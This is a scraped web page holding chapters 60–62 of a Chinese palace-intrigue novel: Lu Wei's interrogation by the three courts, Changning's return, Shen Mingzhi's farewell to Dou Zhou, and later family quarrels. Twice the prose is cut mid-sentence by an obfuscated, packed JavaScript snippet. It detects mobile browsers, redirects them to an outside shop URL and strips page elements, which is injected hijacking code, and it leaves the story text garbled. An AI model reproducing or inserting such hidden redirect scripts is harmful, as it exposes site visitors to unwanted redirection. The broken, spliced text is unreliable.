她眼中终于有了些神采,仿佛陆微的事情真有转圜,她的心上人亦如记忆中不被沾染。可她越高兴,沈明枳心里就没有底,可她越没有底,她的反应落在辛莘眼中就更让人安心,就好像临川说的那样,只要有沈明枳在,她便不用担心任何事情。 可长宁还没有下落,陆微就进了刑部大牢等待三司会审。 郇寰老早就向工部报了翻修大牢的预算,结果朝廷财政吃紧,一直没有批下来,这件事情内阁是知道的,结果圣上没让陆微这个钦犯下诏狱、也没有关大理寺,还是塞他刑部了,真不知道圣上是对陆微太放心还是对赵王派太不放心。 陆微被带上堂时,刑部大牢的提审房里已经坐满了三司的堂官。大理寺卿卿楷与左都御史柳曦既分坐左右,郇寰这个资历最浅的刑部尚书与他们分过主次坐了中间。正式的三司会审定在后日,今日初审不是惯例,却是圣上旨意,众目睽睽、虎视眈眈,郇寰只能硬着头皮命人将陆微带了上来。 60. 第六十章 一份心 陆微早去了锁链,还未由兵卒押着向三位法司行礼,郇寰便已率先起身,笔直着腰背朝陆微虚一拱手:“陆都督。”卿楷与柳曦既也起身向陆微施礼。 这不是律令,却是官场通例,在圣裁定案之前问官以礼相待,是为了他日翻覆,桎梏在身互留余地。 郇寰命人给陆微摆了一把凳子,这才又坐下。 卿楷是在场三位部院里的老资格,郇寰虽然是主,却还是问过他的意见,这才按照早就计划好了的一一审讯。 郇寰道:“此次询问三司俱在,并非公断,乃圣上特敕、允尔辩解,然堂下仍当实言谨慎。” 陆微起身,虚朝正堂墙上雕着的狴犴一拜:“上感天恩,罪臣必知无不言、言必属实。” “为何夤夜出关?” “罪臣守长风关,接到义律大妃求助,故而连夜出关。” “为何不带人?” “这是侵略。” “义律大妃遇见了什么事情要向你求助?你又为何隐瞒此事?义律大妃又是如何向你求助的?” 陆微略一沉吟:“大妃买通义律王庭外出采买的女奴,将消息递给了长风关的守军,罪臣这才得知大妃……大妃即将生产,孤立无援,恳求大楚相助。” “孤立无援?陪嫁去义律的侍女、奴仆数十众,如何会孤立无援?” 陆微不说话。 郇寰心里也明白,长宁身边的人应该是被义律处理得差不多了,这才到了支身一人、举目无援的地步,但这些都是流程,必须问完,“去岁冬月和亲仪仗抵达义律王庭,若当时怀孕,而今只该八个多月,如何能足月生产?” 陆微依然不说话。 “陆都督,你必须回话。” 陆微不得不回应:“罪臣无话可说。” 郇寰看向了卿楷,卿楷严肃道:“堂下慎言,无话可说是为何意?” 见陆微不答,卿楷逼问:“现下流言风传,都说义律大妃产下的男婴并非王庭呼延家血脉,意指和亲途中有枉负国恩、淫邪以罪之徒,堂下所言‘无话可说’,可对你的境况十分不利。” 郇寰道:“陆都督不必有所顾忌,直言坦白才是正道。” 陆微垂眸,“罪臣无话可说。” 卿楷拍案:“那你认罪吗?” “不认。” 郇寰拦住了被陆微的莽愣气到了的卿楷,“堂下,本司问什么你答什么,可听清?” “听清。” “好。和亲途中有枉负国恩、淫邪以罪之徒,此言非虚,是与不是?” “是。” “义律大妃产下的男婴并非王庭呼延家血脉,此言非虚,是与不是?” 陆微略一迟疑,还是应下:“是。” “此人随和亲仪仗北上,是与不是?” “是。” “此人身负国恩、乃至衔领军籍,是与不是?” 陆微沉默。 “堂下不得隐瞒虚言。” 陆微僵硬地点头,“是。” “此人戍守长风关,是与不是?” “是。” “你不将事情告诉旁人,是义律大妃嘱托。” “不是。” 郇寰一顿,“那为何要隐瞒?” “此事,并不光彩。” “再不光彩的事情,总归要见天日的,为何不与左右副官商量对策,以至于军中流言纷起?” 陆微再度沉默。 郇寰看向了卿楷。他不能再问了,不然就有诱供之嫌,卿楷倒没听出关节,只是痛惜地摇头叹气,越过郇寰看向一直默默不语的柳曦既。 柳曦既得了他的意思,这便开口:“堂下可知,去靖臣将军之职,将你槛送京师是为何罪?” 陆微起身,向堂上下跪。 柳曦既起身,郇寰和卿楷也站了起来,“靖臣将军下辖靖安、雍凉、三边,所牧军民数百万众,然堂下身为一方封疆首宰,戍关之际,举止暧昧、动摇军心,圣上念你往日忠勇,故允锦麟卫全你礼数、不上枷锁,更特命我等问你实情、听你辩解。” “罪臣陆微,深叩天恩。” “陆都督,你还有什么话要讲吗?” 提审房内陷入死寂。 卿楷痛心疾首,朝郇寰摆手,郇寰与柳曦既对视一眼,便命人将陆微带下。等陆微的脚步声在房外甬道里彻底平息,提审房正堂的狴犴雕壁后推开一扇小门,一个书办托着一张木盘,跟着一位面白无须的内官走了出来。 大楚省以上衙门大牢的提审房都是这样的明暗两间,三位部院堂官都事先知道这暗间里的机要,客气地朝来人施礼:“庞大总管。” 庞培笑:“今日提审告一段落,那奴婢就回宫向陛下复命了。” 郇寰送卿楷与柳曦既出了大牢,笼着袖子目送庞大总管入东直门,这才重新回到了阴冷潮湿的地牢里。这是怪事,化隆的天气这么干,这地牢里却湿气极重,亏得不是数九寒天的腊月,郇寰跟着胥吏一层层往下走,勉强还能想象那些死囚的生前晚景。左拐右拐,壁龛里的灯时暗时亮,黑暗无处不在,等到一扇半开的铁门出现眼前,郇寰才在门内看见了一缕和煦的天光。 这道天光正照在盘坐在稻草上的陆微身上。 建元初年,这里关过不少涉嫌谋反的功臣,几代帝王更迭,这里也塞满了形形色色的贵人,后来都死了;等到天元前朝,这里也进进出出伺候了好几位龙子皇孙。而升平一朝至今二十四年,陆微是头一个。 郇寰隔着铁栏与他对望,在他起身前问:“那个人是郑弛孺?” 冬至守在门口,牢前甬道绝无旁人,陆微的叹息在这样的空荡里逐渐沉降:“郇侯,你为什么这样问?” “你回京一路可曾听说,京里出了大案,魏王私仿天元旧物拉拢百官,人证物证证证齐全,百口莫辩只能断尾求生,讨一个约束不力的罪周全自身,现在还在王府禁闭不出。” 陆微的眼睛里终于起了不一样的波澜。 “你也知道有人在救你,不希望你在回京的路上就被人暗算,可你知道这个人是谁吗?” 陆微阖上双眼,等待郇寰如同雷霆一击的回答:“是兖国公主。” 郇寰冷冷道:“你的命很珍贵。临川郡主受了斥责,她也差点把自己搭了进去,现在你安然无恙进了刑部,却连辩解都不愿,让她知道了你这副引颈就戮的样子,你让她向谁去报恩?” 陆微摇头。 “陆都督,你是有什么顾虑么?是怕查到荥阳郑氏头上引起边关动乱?边关具体是什么情况我不知道,但我知道的是,圣上派你担任靖臣将军镇守长风关,就是寄希望于你来制衡荥阳郑氏;而殿下敢冒这样的风险,也是她笃定你是清白无辜的。你出了事情,你觉得西北能够彻底安宁吗?你觉得殿下的良心能够安定吗?还有你自己,你甘心吗?” 陆微再度沉默。 “陆都督,没有什么比活下去更珍贵。” “郇侯,我说与不说,于你们有任何关系吗?” “义律大妃是赵王胞妹,这便是关系。” 陆微惨怆摇头:“你们考虑了很多,独独未尝考虑过她。” 郇寰仿佛摸到了头绪。 陆微望着头上那一道天光,“你们从未问过她怎么样,她会怎么样。” “我是外臣,这些是王府的私事,我自然不能多问。” “但他们也从未想过吧?”陆微直视郇寰,“多少天过去了,赵王他们关心过大妃境况如何吗?他们还不知道,大妃已经失踪很久了吧。” 郇寰一愣,攥上了铁栏杆,“你说什么?” “如果拿到了我的口供,接下来赵王就该向他们发难,朝廷就会向义律发难,义律早就伤了元气,西北的事情最后还会平息。但这么多人这么多事过去后,有谁会在意她将面对怎样的灾难?她是生是死?她就像一枚用废的棋子,就算被碾为齑粉也无人在意。郇侯,我说得对吧,他们从未替她考虑过半点,哪怕半点亲人间的关怀也没有。” 郇寰眉头紧锁:“你想干什么?” “后日便是三司会审,圣上也会像今天一样旁听吧,届时便能屏退群臣、当面奏对,说出真相,保全大妃的体面。” “你怎么知道今日有人旁听?谁告诉你的?” 陆微不答。 郇寰的呼吸慢了半拍,犹疑良久方才开口:“陆微,一个人要呆在适合的位子,他的心也该摆在适合的地方。” 陆微居然笑了:“为不相干之人多留一份心,大概都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈明枳浑身一震,定睛看向搀扶长宁的那个瘦削的女子。她是大姐姐身边的春分。这本应该死去多年的人,现在就这样,带着遥远痛苦的记忆走回这个世间。她脸上纵横的眼泪,她那颗几乎要跳出来的心脏,她身上深深浅浅、新新旧旧的伤疤,她的西北十四年,都这样,以这样残忍的姿态,毫无保留地呈现在自己眼前。 沈明枳不自主地退了半步,猛然清醒后又疾步冲了过去,抖着手不敢碰春分,怕这一碰便是一场空,又怕自己抓不住她、让风将故人的影子尽数吹散。 春分曲身行礼,再一抬头时满含的笑意,让沈明枳抑制不住压抑的痛苦,眼角悄无声息地流下泪来。 “殿下,奴没死。” 沈明枳抹了一把眼泪,笑不出来,却满脸是笑,她点头,拉上春分的手轻轻摩挲了一下,曾也细如水葱的手指也粗成了棒槌,硬邦邦的,指尖的每一处似都镶着沙砾石子。怕把沈明枳的手刮疼,春分刚要缩手又被沈明枳拉住:“这些年……还好吗?” “好,奴过得很好。” “骗我。” “奴都有孩子了,在义律,没有回来……” 沈明枳心口钝痛。 “殿下过得好吗?” 沈明枳笑着点头。 长宁挑开帘子望向车外。 “你们要去哪里?”沈明枳稳住心神,看向了立在不远的窦宙。 “入宫,面见父皇。” 沈明枳神色一凝,不管长宁,看着窦宙:“今日三司会审,现在进宫是赶不上的——究竟是怎么回事?她们怎么回来的?” 窦宙不语,春分说道:“大妃生产前我们就跑出了王庭,藏在边县里,是陆将军带我们入的长风关。” “后来呢?是阴阳卫带你们回来的?阴阳卫晚了好几天才出发,这些日子你们还藏在城里?陆都督一出关就被人弹劾,他们没有搜捕你们吗?”沈明枳再度看向窦宙:“将军为她们准备了什么说辞?入了宫,见了圣上,那么多人那么多张嘴,一问便有纰漏,一旦出了纰漏就会让人钻空子……” “兖国!”长宁的声音很虚弱,说着说着眼泪就滴了下来:“我们是跟着游商南下入关,风餐露宿赶了不知多少日夜,半途遇见了阴阳卫,这才平安回京。我的孩子没了,陆将军又被我连累至此,求你引我入宫,和父皇说清楚,我不能对不起他。” 61. 第六十一章 谢谢你 天色黑尽,宫城上的天幕更加幽邃,启明门前点了一串灯笼,辉映着天上的朗月疏星。 沈明枳扶着哭哭啼啼的长宁走出宫门时,春分等在来时的车架里,不安地从车窗缝里张望外头的局势。启明门外广场上已经停上了赵王府的车架,赵王妃窦晴柔刚不容拒绝地把傀儡似的长宁搂了过去,那边与赵王叙话的郇寰便看了过来。 长宁挣开窦晴柔的手臂,回身几步走到沈明枳面前,紧紧握住她的手,含泪的双眸死死盯着沈明枳并不清晰的容颜,白着嘴唇轻声哭道:“对不起……我还是连累他了。” 沈明枳心中叹息,脱开长宁的手,“看顾好你自己。” 长宁最后回望车中的春分一眼。 郇寰挡去了她所有视线。 “殿下。” 沈明枳搭着他的手臂刚踏上公主府马车,就听他问:“殿下回府吗?” 沈明枳不抬眼也不回答,只低身钻进车厢。 郇寰也坐了进来,理好自己的袖口,“殿下不必忧心,陆微不会有事。” 沈明枳不看他也不答话。 郇寰兀自道:“圣上相信他的清白,三司审出了一个‘秋后问斩’的结果,也是圣上授意,只为了暂时稳住西北、稳住荥阳郑氏,以防长风关军士哗变。圣上早已派了阴阳卫远赴西北料理郑弛孺,但这些日子要做戏,京城里不能走漏消息,宫里也要防着,只能暂时委屈他了。” “赵王他们知道吗?” “此事就只有我和柳曦既知道,卿寺卿家里还是复杂了些,便只能瞒着。” “既如此,你不该告诉我的。” 郇寰借着夜色,定定看着沈明枳,流光几点,映得她一双眸子发亮发凉,如同一片碎月浮动在静夜的深塘中。郇寰犹豫良久,久到他的声音莫名沙哑起来,他方才收回视线,心中有些发沉地说道:“你我夫妇一体,有什么是你不能知道的。” “有很多。” 郇寰的心彻底坠了下去,又找了很久才找回自己的声音:“比如?苏霄?” 沈明枳不答。 “当年我在岭南遇袭,是她救我一命,后来我又通过她姐姐苏霁——也就是姜世琛的前夫人——找到了姜必文,成功回京。我欠她的,所以后来南下办差多有照拂,苏州当地关于她做外室的传言就是她托我散布的,以防不长眼的找她麻烦。后来她想离开苏州,所以我帮她办了户籍、在太医院里找了门路。自始至终,我与她只有恩情,或许多过几分敬佩,除此之外绝无其他瓜葛,更无男女私情。” 沈明枳依然没有反应。 郇寰继续道:“我与申不极进菁明书院前打过一架,闹得挺大,惊动了京兆府,老爷子很生气,差点把我的腿打断了,母亲拦着,让我在祠堂里跪了几个月,后来疏通了门路,把我送进了菁明书院。我和他便是这时候相熟的,时常出去打猎喝酒,的确是花街柳巷的常客。说起来近墨者黑,他不禁枕席,我若出淤泥而不染也说不过去,那些事情我也见了不少、听过不少,但事实如此,我与外面那些女子确实没有瓜葛。” “我和赵王,还有寇一爵,也都是在菁明书院里认识的。后来我去了兰陵,就断了联系,等我中进士后曲江宴上才再见的。我正式站上王府的阵营,得等到癸卯年东宫去后,不过我与他们联系得更早,那年我丁忧夺情托的就是王府的门路,所以这么说,我也欠他们……” “郇海山,你喝酒了。” 分明没有人喝酒。 “我倒希望我已经醉了。” 沈明枳也是这么希望的。像郇寰他们这类人的“明知故犯”,一向都带着阴谋算计,若真是他的一时糊涂,这种坦白便也不会这么让人害怕。可郇寰很清醒,连让真心脱缰皆非情势所迫,沈明枳甚至想不明白,郇寰想调和他们的关系何须用这种笨拙的法子。当然,或许他的一时糊涂也不必要酒,他们都会犯错犯混,可这突如其来的坦然,总会让沈明枳有种错觉,仿佛就是要付出些什么来报答这一次坦诚。 可沈明枳回顾自己的二十几年,格外确定自己给不出这样的回馈来报答这样的坦诚布公,何况她仍然怀疑其中有诈。 沈明枳终于抬头看向了他,“郇海山,我们都很清楚,朝中朝下、府内府外,我们都该呆在适合的位子。那天我和苏霄说的话,也是说给你听的,这些你都知道,你什么都清楚。既然如此,我们便各守边界,不要轻易逾越坏了规矩,害人害己。” 襄阳侯府到了,沈明枳并不下车,“我还有事,这些天就不回来了。” 郇寰一言不发地起身,忽听她轻声道:“谢谢。” 郇寰的步伐只为这句“谢谢”停留半瞬,夜风却从不为任何人停留,将漫溢的鲜血腥味填满长风关的每一个角落。郑弛儒的脑袋很快就被阴阳卫摘了,摆在义律王庭的那个早晨,呼延炳的血也染红了关外黄沙。义律并不愿与大楚朝廷恶交,但长风关还是爆发了小规模的暴乱,阴阳卫人手不够,一连先斩后奏处理了好几位郑藩虢捧出来的边将,这才将风头压了下来。 这时化隆才传出了郑弛孺揪结边将意欲谋反的风声,荥阳郑氏危在旦夕,可一连几日过去,宫里也没有传出任何要处置他们的旨意,这让赵王十分不安。是故,赵王派鼓动了不少科道官上书弹劾,等雪片似的奏疏堆满了内阁,锦麟卫这才将郑氏一族尽数下狱。魏王携素服脱簪的王妃入宫门叩拜时,义律请求接回和亲公主、永以为好的国书也送到了御书房。 沈明枳将内阁的意思带到了赵王府后,便找了窦宙。 二水间的花木长得茂盛,天光也甚是明媚,鸟语虫鸣,无一处不是欣欣向荣的美好。可沈明枳灰暗了,望着山门前窦宙满脸的肃然,她忽然生出一种愤恨。 她岂止是讨厌长宁,已经是恨入骨髓了。 如果长宁死在了西北,春分便永远也不用回来,她也不用面对这样凶残赤裸的事实,永远也不用收拾这一地狼藉。 窦宙走下台阶亲自来接。 沈明枳只能唾弃自己的懦弱。 如果长宁死了,或许陆微也会死。 她终究不愿面对。 “殿下来了。” 沈明枳忍着心中的烦乱,紧紧捏住袖中那柄木梳,“将军,我做了一个梦。” 窦宙看见了她眼里的痛苦,“春分都告诉殿下了。” 沈明枳避开他的视线,“只是个梦。” 窦宙侧身让开一条道。 “我梦见大姐姐了,她说那三年里时常会望着长风关,那是她回家的方向,可她回不了家……” 窦宙无法呼吸。 那是一个大雪天,他的公主就要生产了,无依无靠。公主和亲时带了不少人,最后给她下葬的只剩下了春分,听春分说,那是个很漂亮的女孩,睁开眼睛时像极了小时候的公主。可她死了,没活过第三天,在那冰天雪地里。 “将军在长风关拖了很久吧,军令逼迫,急于星火,你却一天天地在等,想等到她平安的消息,不想兵部弹劾的消息先一步送到了边关,郑藩虢责令你立刻回京述职。那个孩子的身世很复杂,春分说她也不知道这是谁的孩子,或许是义律王的,或许是某个王子的……” 沈明枳声音哽咽:“可没有人想让她活,所有人都想让她死!和长宁一样,可长宁等到了陆微……陆微还说自己愧疚后悔,后悔没有早点察觉,又后悔知道了郑弛孺和呼延炳的勾当却不敢出头。” 沈明枳终于压抑不住哭了出来。 窦宙跪了下来,将别在腰带上的鞭子捧到沈明枳眼前。 她小时候最顽劣了,去上林苑挥舞着鞭子指使窦宙做牛做马,常常得意地向大姐姐炫耀,然后有一次她随口对窦宙说:窦将军不能这么惯着她了,又告诉了太子长兄,太子长兄当着梅如故的面前“狠狠”训了她一顿,于是窦宙收了她的鞭子,一连好几天这一板一眼的模样都让沈明枳大发牢骚。 他们都怕自己用鞭子误伤窦宙,窦宙却将鞭子交到自己手中。 “将军,你这是要负荆请罪?” 窦宙像是被点醒了,三下两下剥了上衣,垂下头一声不吭地跪在这里,跪在这里一声不吭。 “可将军,你有什么罪?没救下她?还是在帐外擒住宣国收买的那个男人时,没有杀了他?还按照她的意思,放了他,给他盘缠,让他逃?还是后来,她威逼你,你没有拒绝?”沈明枳深吸一口气,拿走了那根鞭子,将攥在手心的梳子放在他的手中。 窦宙猛然抬头,看着手心的梳子脑中一片空白。 憋在心里十四年的一口沾染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277969|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着鲜血的气息,沈明枳慢慢吐了出来,“将军的伤要在战场上留,而不应该在这里。大姐姐说,要我好好的,不要让爱我的人担心、伤心,心全碎了。长宁运气好,大姐姐没有她的运气,这并不怪你,你没有罪,你也不需担这些罪。那时你还不是将军时,这把梳子就做好了,将军不敢送,我帮将军送了,就在大姐姐的陪嫁里。” 窦宙当时以为这把梳子丢了,觉得可惜,却不敢再想。 “春分知道这把梳子的来历,大姐姐也知道的。去了义律后,她每天都带着它。春分本想把它和大姐姐葬在一起,但大姐姐生前就告诉她过,要留下来,有幸送到你手上,告诉你,她明白你的心意。” 沈明枳扔了鞭子,抹去满脸的眼泪。她自知自己的贪心,但这一次,她觉得够了,差不多了,可以了。该放下了,为了更好的日子。 “她最不忍见人因她受苦,所以你要好好地活下去……” 眼泪越擦越多,沈明枳强行稳住心神,故作平淡地开口:“将军还记得第一次见她是在上林苑吗?遇见她,和她说话,支支吾吾半天都交代不清楚。” 沈明枳一笑:“那时候你还不是将军,但想当一个将军,譬如宁海将军、靖臣将军、云仑将军、南越将军云云。我说:当了将军就不能留在化隆了,窦将军到时候就想不起化隆的人了。将军这个时候利索了,连连保证绝对不会忘了化隆的,也绝对不会忘了化隆的人的。将军还记得吗,我还要你起誓。” 窦宙长长吐出一口气。 “内阁已经传出了消息,窦指挥使处理边将办事不力,不仅斥责还要罚俸,圣上又要让将军夺情起复,重任靖臣将军前去平定边关,陆微重任靖节都督,做你的副手将功补过。将军回西北吧,三年五载地回来一趟,不要忘记化隆的人。” “窦宙,谢谢你,也代我谢过陆微,大姐姐也会想谢他的。” 是,我也要谢他。感谢他让我重新相信,没有血亲挚友,这世上依然会有陌生向我伸出援手,我不是愚善。 那天晚上,窦宙在帐外捉住那个男人时,我很惊讶,惊讶长兴这么得意,还要和我分享她的得意。我厌恶这种背叛,但人为财死鸟为食亡,我理解他,所以我让窦宙放了他。 我还记得窦宙的眼神,在烛光之下,又痛心又挽伤,却又非常温柔。 他第一次说我“坏话”,当着我的面说我,愚善。 为什么说是“第一次说”,因为是鹇儿告诉我的,我又信她。 好吧,鹇儿也曾经这么说过我愚善,我很赞同。 但是当时,我却装得很生气,我反驳说,我或许愚蠢,但我不善。 他好像被我震住了,只是有点呆愣地看着我。 好吧,我当时,确实很失态,确实很像个疯子。 但他也太像个君子了,只是很轻地一笑,然后就要告辞。 我忽然觉得,这就是以前鹇儿跟我说一种心碎时候才有的微笑。 那时我觉得这小丫头片子就在胡言乱语,便很没风度地捂了她的嘴巴,把她塞给了春分,让春分把她扔给太子哥哥,让那个更爱胡说八道的梅大嘴巴治一治她胡说八道的毛病。 好吧,我承认错误,她说的是真的,我小看这个丫头了。 我拦住了窦宙。 我以为自己所有的勇气都耗在齐珏身上了,但这个时候我发现,我胆大妄为,我肆无忌惮。 我对他的笑,很不满意。 他问我,公主还有什么吩咐。 他一直是这样的,我更不满意。 我在无理取闹。 第一次,无理取闹。 最后一次,无理取闹。 我叫他坐在那里不要动,然后在他既困惑又僵硬的注视下,我让春分打点好了帐外的一切。 他猜到了我的企图,于是立刻找借口离开。 我说,你这时候说话倒很利落了。 他讪讪一笑,但还是要走。 我干脆拦在了帐口,学着鹇儿撒泼时最爱的样子,一副要走就从我尸体上跨过去的样子。 他果然,在我的轮番“威逼”之下,就范了。 我告诉他,你看,我一点也不善。 我没说出口的是,我一点也不善,连累了你。 62. 第六十二章 红胜火 窦宙和陆微护送长宁回西北的那天,天罕见地塌下一个窟窿,酣畅淋漓地下了场暴雨。 春分到底还是跟着长宁回了义律。 现在,化隆上下悉知这些往事的人又只剩下了沈明枳。她没有去送,但听兴冲冲跑来送热闹的临川说,人去得很齐全。 “这部院门前骑马的、皇宫大内坐轿的哪一个没去,当时送你南巡都没有这么大排场,嗷,梅如故、柳曦既,还有这苏德惜也特意从洛阳东都赶了回来,华嵘、文稚墨这些魏王派也在,躲了许久风头的韦不决都来了,就差这位乔致用乔大将军了,下回要齐全地见一回‘寻花问柳’和‘露宿桥头’,真不知是猴年马月。” 沈明枳打岔:“上回的事谢了,说吧,要我怎么报答。” 临川胆大包天地捏起沈明枳的脸,“你个没心没肺的可算是知道知恩图报了,我被圣上骂了好一顿!” 沈明枳拍掉她的手,佯装不高兴,“你是常在河边走。” 临川噘嘴:“谁敢给我泼水?就你了,损友损夫损上天了。” 沈明枳只是微笑。 “哎,要报答,好啊,留明年了,等我出了孝要好好的操办一下,银子你出。” “可以,不过——” 临川以为她要反悔,恶狠狠地瞪了她,却听她笑盈盈地道:“你得先随份子。” 临川眼睛咕噜一转就知道是九月里郇三娘和俞仕哲的婚礼,又想到上次长荣大婚她却大出血,心里堵得厉害,打算和沈明枳打个商量:“啊,当然要随,就是,郇三娘不是郇海山一母同胞的亲妹妹,也不算你正经的小姑子,我手头呢也有点紧……” 沈明枳挑眉,语气戏谑:“怎么,她好歹是襄阳侯府出来的千金小姐,这点面子不给郇海山也得给我吧?圣上是罚了你不少,但又不是伤筋动骨的,你少做几件衣裳、少摆几次阔绰,少招惹几个俊俏郎君,这钱不就省下来了?我看你就是色迷心窍,给你那个林小郎花钱时,怎么没想到要攒点钱当家底?” 提到林小郎,临川讪讪一笑,打算一个两个马虎眼掩护过去,结果被沈明枳抓了个现行:“我听辛莘说,跑路了?骗财骗色的,没想到啊,你堂堂临川郡主也有这一天。” 临川愧得无地自容,但沈明枳却不打算放过她,拍拍她的肩,再次刺激:“哎,理解理解,动了真情的嘛,理解理解。” 见她的脸红得如同当空的太阳,沈明枳稀奇地凑了过去:“我以前怎么不知道你这么害羞的?你以前可是当着那么多——那么多年轻儿郎的面,说什么长啊短啊粗啊细的……” 临川炸了,拍案而起:“鹇儿你个促狭鬼!” 沈明枳面上微笑心中冷笑,有失风度地捂了临川哇哇大叫的嘴,勒了这头河东狮,拖着往门外走,语气让人心里发凉:“听说你去招惹窦宇了?” “勒勒勒!我要被你勒死了!” 沈明枳松了松力道,语气中的胁迫却越来越重:“嗯?好日子过腻了想找死了?” 临川拼命挣扎但难逃魔掌,心里默念一百遍“大丈夫能屈能伸”,然后顺从地叫道:“没有!诬蔑!这是诬蔑!” 沈明枳收了力气,甩甩手,皮笑肉不笑地问:“诬蔑?上三卫的衙门连在一起,你不找他,难不成去找凌云重了?” 临川愤愤咬牙:“你这厮真是坏,明明什么都知道却还要逼我自己说出来,这不就凌迟嘛!” 沈明枳一记眼刀飞来,为其积威之所劫,临川只能低头:“是,我就是去找凌云重了。” “别忘了他可是肖执真的人。” “我当然没忘!现在想来还挺后怕的——”临川又跑回凉爽的屋内坐了下来,“唉,若是被他发现我们已经知道锦麟卫背主一事,以他们的心狠手辣,我们怕是要到地底下过舒坦日子了。哎,若真到了这一步,我们真不能告诉圣上吗?大不了鱼死网破!怎么能任人宰割!况且,就算没有到这一步,锦麟卫背主,就是魏王的暗箭啊,一定要早早揭露,不然后果不堪设想!” 看着她的情绪越发激昂,沈明枳心中叹息。 这傻姑娘! 锦麟卫就是圣上的眼睛,就是靠监视跟踪、刺探辛秘吃饭的,就凭郡主府里的那些花拳绣腿的耳报神想来无影去无踪地跟踪他们?窦宇的阴阳卫都不敢打这样的包票。最坏的情况——也是最可能的情况,那就是凌云重早就发现了郡主府的尾巴却按下不表,明修栈道、暗度陈仓,凌云重连栈道都不修了,直接装傻充愣就把临川骗得团团转,这真是让人既忧心生死又怀着敌人未曾发觉的愚蠢希望。 “要揭露,但现在没有机会。” “没有机会,我们就创造机会!我们既然能做局保下陆微,如何不能做局收拾锦麟卫?” 沈明枳目光深邃。 这不是我们。 除了她们,还有郇寰。 没有郇寰,沈明枳几乎不敢想她还要花多少心力善后补缺。她也不敢想,这次只是个巧合,只是一次水到渠成,要让她和临川与那些朝堂上翻云覆雨的官场斗士倾轧,她们能有什么底牌、能有什么武器。 她们手无缚鸡之力。 临川从中看见了伤感,嘴上更加胡言乱语:“怎么了?锦麟卫又不是长缨卫,你总不会舍不得吧?” 沈明枳看见了临川眼中的哀怜,顿时话锋一转,逼问起来:“舍不得的该是你吧?好好的,你找什么凌云重?你和他又怎么了?” 绕了一圈回到原点,临川心中忿忿,吞吞吐吐:“就是那个,那个姓凌抢了我的姓林的……” 沈明枳装得好不耐烦:“哪个跟哪个?” 临川心里大骂沈明枳就是存心,表面上柔柔顺顺地解释:“凌云重抢了林小郎!” 沈明枳挑眉,“我怎么不知道他竟然有断袖的癖好?” 她还打算死鸭子嘴硬一回,结果触及沈明枳眼中的肃杀立刻丢盔弃甲、面缚投降:“好吧,我招,我招。就是他从西北回来,结果肖执真要他去浙江公干,估计是为了改稻为桑之事,地方上又起了一点骚乱。结果他不知道发了什么神经,大晚上居然闯到我庄子上把林云轻掳走了!为了大局着想,我一直憋着,一直等现在陆微的事情结束,听说他也刚好从浙江回来了,就想去要人,结果他又出京公干了!这次也不知道去哪里,但听说他也要去送大军开拔……” 沈明枳呼吸一窒:“他怎么知道林云轻的存在?该不会是你还到他面前显摆了吧!” “我发誓我绝对没有!这种蠢事我怎么可能会做!” 沈明枳眼皮一跳,被气得不轻:“是,你更蠢的事情都做过了,还屑于犯这个蠢?凌云重和林云轻,这名字也是你比着他取的吧,嗯?他长得也与凌云重十分相似吧,嗯?今天你还跑到衙门里坏他名声,嗯?若凌云重真把这林小郎杀了、剐了,连带着把你也碎尸万端了,都是活该!” 临川哭丧着脸,大气不敢出。 “你难道不知,像他们这种男人最难以忍受的就是践踏尊严,你还搞了这么一出,弄了一个男宠来‘羞辱’他!忘了宣国的报应?凌云重比这些人更有本事,你猜他能不能让你人间蒸发、几百年也找不到你的尸骨?” 临川连哭也哭不出眼泪。 ** 檐下那对翠蓝羽的鹦鹉又“哥哥”“哥哥”地叫了起来。 郇寰心思烦乱,揣着一摞公文匆匆就要路过,抬眼一瞬间,就见其中一只鹦鹉的胖喙下赫然长着一片花瓣似的艳红绒毛,什么“日出江花红胜火”的字句就从琐事堆叠的脑中蹦了出来。正此时,小男孩脆生生的声音从廊柱后面响起:“它叫红胜火。” 郇寰驻足回望,就见一六七岁的小男孩一手牵着一只三轮鸠车,一手拿着一柄纸人竹马风车,有些胆怯地远远仰望自己。他脖子下挂着一只灿灿发亮的金锁,锁下缀了一排的铃铛,便是风急些,这串铃铛 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郇寰立在拐角处听了片刻,只觉得心中发紧,他赶忙抬步继续往书房走去,离书房大敞的门口不过十几步,他便听见了里面的吵嚷声,走得越近、这争吵便越清晰:“那你们说怎么办吧?一点小事也办不好!这点小事也办不好!不过几个暴民,还能让他们给反制了?笑话!废物!” “慧中!论事就论事,你发什么脾气?” “大哥,我这……”寇慧中咽不下这口气,忍了忍还是爆发出来:“现在出事的是我!我的姻亲!现下要被抓入大牢严刑拷打的是我的家人!我发个脾气怎么了!再说,事情是不是谢改之办砸的?早知道这孙子这么不靠谱,我就去找郇海山了!” 寇德中瞪眼,“慧中!慎言!” 寇一爵走了过去给寇慧中添茶,“叔父消气,真说起来,这件事是王家人自己办砸的,算不到谢改之头上,同样也算不到您头上。” “是么?案子是铁案,收受贿赂、以权谋私、错判命案、草菅人命,桩桩件件,有因有果,证据确凿,就摆在御书房龙案之上,谢改之是必死无疑了!而王家是我的儿女亲家,我这个当姻亲的,怎么逃得了?魏王不趁机把咱们寇家一锅端了,就是他眼睛瞎!” “那便不当这个儿女亲家了。”寇美中说道。 “二哥,你是儿孙满堂自然不稀罕一个丫头片子,我就这么一个女儿,前年才抱上的外孙,你让我怎么断?再说,魏王会允许吗?他盯着王家就是要坑我们寇家!” 